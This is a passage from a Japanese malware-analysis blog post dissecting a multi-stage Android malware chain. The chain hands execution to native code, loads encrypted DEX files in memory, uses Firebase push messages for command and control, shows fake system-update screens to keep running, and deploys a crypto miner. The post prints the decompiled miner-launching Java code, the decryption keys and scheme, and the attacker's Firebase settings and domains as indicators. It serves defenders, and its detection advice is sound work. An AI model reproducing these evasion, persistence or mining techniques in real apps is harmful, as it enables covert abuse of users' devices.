&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"lixhokfsmav"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;native&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;attachBaseContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;native&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Stage 1では引き渡しが正規のクラス階層に注入されており、Stage 3では専用に作られた殻になっています。意図は同じです。重要なロジックをネイティブコードに押し込み、Javaレイヤーの静的解析が届かないところに置くことです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;暗号化されたペイロードの段階的展開&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ネイティブブートストラップは、APKのassets/ディレクトリにある2つのブロブを復号します。どちらの暗号ルーチンもネイティブライブラリ内にあり、読み取り可能なJavaクラスには公開されていません。以下の詳細は、外側のAPKのソースからではなく、段階的に展開されたペイロードのアーティファクトから復元したものです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;アセットのパス&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;暗号方式&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;生成物&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;vyh3u73x8mp5elng&lt;/td&gt;
&lt;td&gt;繰り返しXOR&lt;/td&gt;
&lt;td&gt;ブートストラップDEX（stage1_bootstrap_loader.dex、SHA-256 58e39152...）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;s3h8m8q8kb38a4iy/ksqzvp1v&lt;/td&gt;
&lt;td&gt;AES-CBC/PKCS5Padding、鍵 = SHA-1(basename)[:16]、ゼロIV&lt;/td&gt;
&lt;td&gt;隠されたオーケストレーターAPK（com.yqzg.parrnell）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ブートストラップDEXは、親クラスローダーのdexElements配列をリフレクションで操作すること（新しいAPIレベルではmakeInMemoryDexElements）により、復号したオーケストレーターをメモリに読み込みます。これはStage 3のヘルパーで直接確認されたのと同じパターンです。オーケストレーターAPKが、スキャン可能な形でディスクに書き込まれることはありません。&lt;/p&gt;
&lt;p&gt;通常のAndroidのワークフローが依存するすべてのエントリポイントは、正規のコードに置き換えられているか、ネイティブコードに押し込まれています。ARMのリバースエンジニアリングに踏み込む気のない人は、見当違いのレイヤーを見ていることになります。&lt;/p&gt;
&lt;h2 id="stage 2:隠されたオーケストレーター:永続化とクラウド経由の制御の確立"&gt;Stage 2：隠されたオーケストレーター：永続化とクラウド経由の制御の確立&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Firebase Cloud Messagingによるクラウド接続&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;オーケストレーターは、脅威アクターが管理するFirebaseプロジェクトに自身を登録します。設定はStage 2に難読化された形で埋め込まれています。com.yqzg.parrnell.AppがApplicationId、ApiKey、gcmSenderId、storageBucket、projectIdを持つJQHWyjC66EcSxmVdbeオプションオブジェクトを構築し、uvddntLtzpPJk8Xjs5.javaがそれを使って実行時にデフォルトのFirebaseアプリを初期化します。同じ設定は、復元された最終ヘルパーDEX（Stage 3）にも平文で含まれています。両方の段階がそれぞれ独立して設定を保持しています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;項目&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;値&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Firebase App ID&lt;/td&gt;
&lt;td&gt;1:39848184100:android:c44d4f602ecf40683bcbb1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Firebase APIキー&lt;/td&gt;
&lt;td&gt;AIzaSyDDRPszQIVKnbIBw9nZuuhferi4-I0xwXU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Firebase Sender ID&lt;/td&gt;
&lt;td&gt;39848184100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Firebaseプロジェクト&lt;/td&gt;
&lt;td&gt;waking-21b04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Firebaseバケット&lt;/td&gt;
&lt;td&gt;waking-21b04.firebasestorage.app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;テレメトリホスト&lt;/td&gt;
&lt;td&gt;https://aptabase.jesfeoqrj3.xyz:8443&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Firebase Cloud Messaging（FCM）は、一般的なアプリケーションがプッシュ通知の配信に使用する正規のGoogleサービスです。FCMをコマンドチャネルとして使うことで、オペレーターは3つの利点を同時に得ます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;トラフィックが紛れ込む&lt;/strong&gt;：FCMのメッセージはGoogleのインフラを経由し、ネットワークログには日常的な通知トラフィックとして表示されるため、ペイロードレベルの検査なしでは正規のアプリケーションの挙動とほとんど区別できません。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;バックグラウンドや休止状態の端末にも確実に届く&lt;/strong&gt;：Androidはアプリが実行中でなくてもFCMのプッシュを配信するため、オペレーターは感染端末をいつでも起動できます。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;主要な起動経路にオペレーターが管理するドメインが不要&lt;/strong&gt;：感染端末が接続する先は攻撃者のインフラではなくfcm.googleapis.comです。そのため、境界での単純なドメインのブロックリストによる防御では、このチャネルを断ち切るには不十分です。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;顧客のSOCチームと不正検知チームにとって、ここが対応につながるポイントです。&lt;strong&gt;FCMベースのC2は、正規のアプリを壊さずにネットワークエッジでブロックすることはできません。&lt;/strong&gt;検知は、ネットワークレイヤーのフィルタリングではなく、エンドポイント上で振る舞いのシグナル（例：予期しないFCM登録を持つアプリ、ユーザーに見える通知のないパッケージが受信したFCMプッシュ）を通じて行う必要があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;永続化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;FCMへの登録が確立されると、オーケストレーターは標準のAndroidインテントandroid.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONSをpackage:データURIとともに使用して、バッテリー最適化の除外を要求します（com.yqzg.parrnell.MainActivityの356行目で確認）。この権限は標準のシステムダイアログを通じて付与されます。付与されると、Androidはオーケストレーターのバックグラウンドプロセスを積極的に終了しなくなります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下流のペイロードの展開&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;オーケストレーターは、自身のassets/ディレクトリにインストーラーバンドルを保持しています。その中身は下流のAPKそのものではなく、インストーラーエンジンとネイティブライブラリです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;アセット&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;目的&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;stage2_installer_bundle.zip &amp;rarr; plectrumsplanchnomegalia（約4.6 MBのDEX）&lt;/td&gt;
&lt;td&gt;インストーラーエンジン。下流のインストールを駆動する大きな埋め込みDEX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stage2_installer_bundle.zip &amp;rarr; arm64-v8a / armeabi-v7a&lt;/td&gt;
&lt;td&gt;インストーラーに同梱された、ABIに合わせたネイティブライブラリ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stage2_installer_assets.zip&lt;/td&gt;
&lt;td&gt;偽のセットアップ／アップデート画面のUIアセットと、output8.mp3（後にStage 3のヘルパーがメディアループによるキープアライブの仕組みに使用）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;下流のAPKは、主要な経路としてC2からその場で取得されるのではなく、外側のAPKのassets内に暗号化された形でローカルに置かれ、インストーラーに渡されます。com.yqzg.parrnell.JTcvL0wHeDQ3LLur9W（24行目）は、ローカルのコンテナ（xylograph）を復号・展開し、そこからインストーラーエンジンを読み込み、段階的に展開するペイロードのアセットを指定するローカルの設定ブロブ（franker / ununanimouslynasoscope）を選択します。復元した設定は、それらを具体的なアセットのセットに対応付けています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;connector.predictor.messenger &amp;larr; アセットpicaroons、pellagroid、gaitskell（3つの分割APKコンポーネント）&lt;/li&gt;
&lt;li&gt;com.sywo.chelingas &amp;larr; アセットnonsignatoriesyferre&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;com.yqzg.parrnell.JoDPj5ySc7Q56tJgl3には、代替または補助のチャネルとして別のHTTPダウンローダーが存在しますが、このサンプルでは主要な配信の仕組みではありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;インストール中のソーシャルエンジニアリングによる偽装&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;オーケストレーターは下流のペイロードを黙ってインストールするわけではありません。偽のセットアップ画面やアップデート画面を表示してインストール中の被害者の注意を引きつけ、Stage 4が次に行う権限要求（アクセシビリティ、画面キャプチャ、SMSの読み取り）を当たり前のものに見せかけます。正規の「システムアップデート」のように見えるものが完了するのを見届けたばかりのユーザーは、昇格した権限のプロンプトを受け入れやすい状態になっています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="偽のアップデート画面。下流のペイロードがバックグラウンドでインストールされている間に、オーケストレーターが被害者に表示するソーシャルエンジニアリング用のUI。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-28_ebl_malware_analysis_article/Pasted image 20260413182012.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図2：偽のアップデート画面。下流のペイロードがバックグラウンドでインストールされている間に、オーケストレーターが被害者に表示するソーシャルエンジニアリング用のUI。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Stage 2は、マルウェアが「インストールされた」状態から「制御可能で永続化し、本命のツールを展開できる態勢にある」状態へと移行する段階です。事後に妨害することを難しくしている特徴が3つあります。FCMのC2はネットワークエッジでブロックできないこと、バッテリー最適化の除外が正規の未修正のダイアログを通じて付与されること、そして下流のペイロードが独立したAPKとしてインストールされるため、オーケストレーターを削除してもそれらは削除されないことです。&lt;/p&gt;
&lt;h2 id="stage 3:ヘルパーペイロード:キープアライブエンジンとマイナーの配信"&gt;Stage 3：ヘルパーペイロード：キープアライブエンジンとマイナーの配信&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Stage 1と同じネイティブへの引き渡しアーキテクチャ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ヘルパーAPK（com.sywo.chelingas）はまったく同じパターンを使用しています。ライフサイクルメソッドがネイティブライブラリ（liblixhokfsmav.so）にあるApplicationサブクラスで、意味のあるJavaのロジックはありません。これはStage 1で示したc6xmV4.javaであり、このパターンが単一のコンポーネントの特徴ではなく、再利用されている設計上の選択であることを裏付けています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2段階のインメモリDEX読み込み&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ヘルパーは、中間のブートストラップDEXを経由して最終ペイロードを展開します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ネイティブライブラリが、64文字の繰り返しASCII鍵&lt;code&gt;8HqIe8TtMjtOpehmPZrAhrVbnIjZhkx3tcR720hfXQYeD7XQzeuhpdeTQ3SuM3Ap&lt;/code&gt;（PBKDF2のパスフレーズではなく、バイト列としてそのまま使用）を使ってアセット0DvdX3nFjtHAUApkをXORで復号し、中間のブートストラップDEX（SHA-256 7583ae8a...）を生成します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ブートストラップDEXのcom.example.virusscanbypassbootstrapper.DexLoader（目的をそのまま表すクラス名）が、2つ目のアセット4qZE2YiJUkIj2a2a/RioFpQvIを、SHA-1("RioFpQvI")[:16]（パスのベース名）として導出した16バイトの鍵とすべてゼロのIVを用いたAES/CBC/PKCS5PaddingでAES復号し、ZIPアーカイブを生成します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ZIPには最終ヘルパーDEX（classes.dex、SHA-256 79aba8d3fad2...）が含まれており、クラスローダーへのパッチ適用によって直接メモリに読み込まれます（API &amp;lt; 26ではDexClassLoader、API &amp;ge; 29ではmakeInMemoryDexElementsを使用し、親クラスローダーのdexElements配列のリフレクションによる操作と組み合わせます）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;チェーン全体が、最終DEXをディスク上の予測可能な場所に書き込むことなく実行されるため、標準のアプリケーションストレージのパスでAPKやDEXファイルを探すスキャナーをかわすことができます。&lt;/p&gt;
&lt;p&gt;最終ヘルパーDEXは2つのことを行います。&lt;strong&gt;偽のシステムアップデートを装うフォアグラウンドサービスによる永続化&lt;/strong&gt;と、&lt;strong&gt;ダウンロードしたネイティブバイナリによる暗号資産マイニング&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;偽のシステムアップデート通知による永続化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ヘルパーはAndroidのフォアグラウンドサービスとして登録されます。これは、通知を表示する代わりにバックグラウンドで無期限に実行できる正規の仕組みです。通知はシステムメッセージに偽装されています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;項目&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;値&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;通知のタイトル&lt;/td&gt;
&lt;td&gt;Update Now&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;通知の本文&lt;/td&gt;
&lt;td&gt;The system is being updated, please keep the phone on.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この文言は実際に効果を発揮しています。ユーザーはシステムアップデートを中断しないよう習慣づけられており、アップデートを閉じることには危険が伴うように感じます。そして&lt;em&gt;「please keep the phone on（電源を入れたままにしてください）」&lt;/em&gt;という文言は、永続化を最も直接的に脅かす2つの行動（通知をスワイプして消すこと、端末の電源を切ること）を思いとどまらせます。&lt;/p&gt;
&lt;p&gt;通知の背後で、サービスはさらに2つのキープアライブの仕組みを維持しています。output8.mp3（Stage 2のインストーラーアセットZIPで同梱）をループ再生してプロセスがメディアを再生中であると分類されるようにし、ライフサイクルの優先度を引き上げます。また、Androidのウェイクロックを定期的に再取得してCPUがスリープしないようにします。これらを組み合わせることで、Androidは画面の状態、非アクティブ状態、メモリの逼迫にかかわらず、プロセスを自発的に終了しなくなります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;暗号資産マイナーの展開&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;永続化と並行して、ヘルパーはオペレーターのインフラから暗号化された暗号資産マイナーのバイナリをダウンロードし、端末上で復号してローカルストレージに書き込み、ネイティブの子プロセスとして実行します。以下の復元したコードは、マイナーのプロセスが起動され、その標準出力がパフォーマンス指標のために監視される様子を示しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// APK: com.sywo.chelingas &amp;mdash; recovered final helper DEX&lt;/span&gt;
&lt;span class="c1"&gt;// JADX source: sources/com/google/worker/work/a.java (inner class b.run(), lines 36&amp;ndash;62)&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// After writing the decrypted miner binary to disk and making it executable,&lt;/span&gt;
&lt;span class="c1"&gt;// the helper launches it as a child process and monitors its stdout in a&lt;/span&gt;
&lt;span class="c1"&gt;// background thread. Miner output lines are parsed for performance metrics.&lt;/span&gt;
&lt;span class="c1"&gt;// The method k() handles cleanup if the process terminates unexpectedly.&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strArrG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;g&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// builds argv: [-o pool, -k key, --tls, --no-color]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fileF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// returns the dropped worker executable path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aVar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;aVar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aVar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strArrG&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// launches the miner process via ProcessBuilder&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Scanner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Scanner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInputStream&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;interrupted&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hasNextLine&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strNextLine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextLine&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strNextLine&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// telemetry: reports mining output upstream&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;v&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strNextLine&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// raw miner output logged at verbose level&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"worker error: "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;k&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// cleanup / restart on termination&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;マイナーに渡されるコマンドラインフラグ（-o、-k、--tls、--no-color）はXMRigの標準CLIと一致しており、マイナーがXMRigまたはそれに近いフォークで、Monero互換のプールに対して動作していることを強く示唆しています。&lt;/p&gt;
&lt;p&gt;復元したマイナーのインフラの全体像は次のとおりです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;コンポーネント&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;値&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;マイナーのバイナリ名&lt;/td&gt;
&lt;td&gt;libmine-arm64.so / libmine-arm32.so&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;マイナーのダウンローダー&lt;/td&gt;
&lt;td&gt;https://accessor.fud2026.com/, https://accessor.fud2026.org/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;マイニングプール&lt;/td&gt;
&lt;td&gt;pool.fud2026.com, pool.fud2026.com:8443&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;マイニングプールのプロキシ&lt;/td&gt;
&lt;td&gt;pool-proxy.fud2026.com:8443&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;テレメトリホスト&lt;/td&gt;
&lt;td&gt;https://aptabase.khwdji319.xyz:8443&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;テレメトリのアプリキー&lt;/td&gt;
&lt;td&gt;A-SH-2776504097&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;fud2026.*のドメインクラスターは単なる運用インフラではなく、BeatBankerキャンペーンクラスターについて公に報告されている指標にも含まれています（「帰属」を参照）。暗号資産マイニングのコンポーネントは脅威アクターの運用に組み込まれた一部であり、サードパーティのアドオンではありません。&lt;/p&gt;
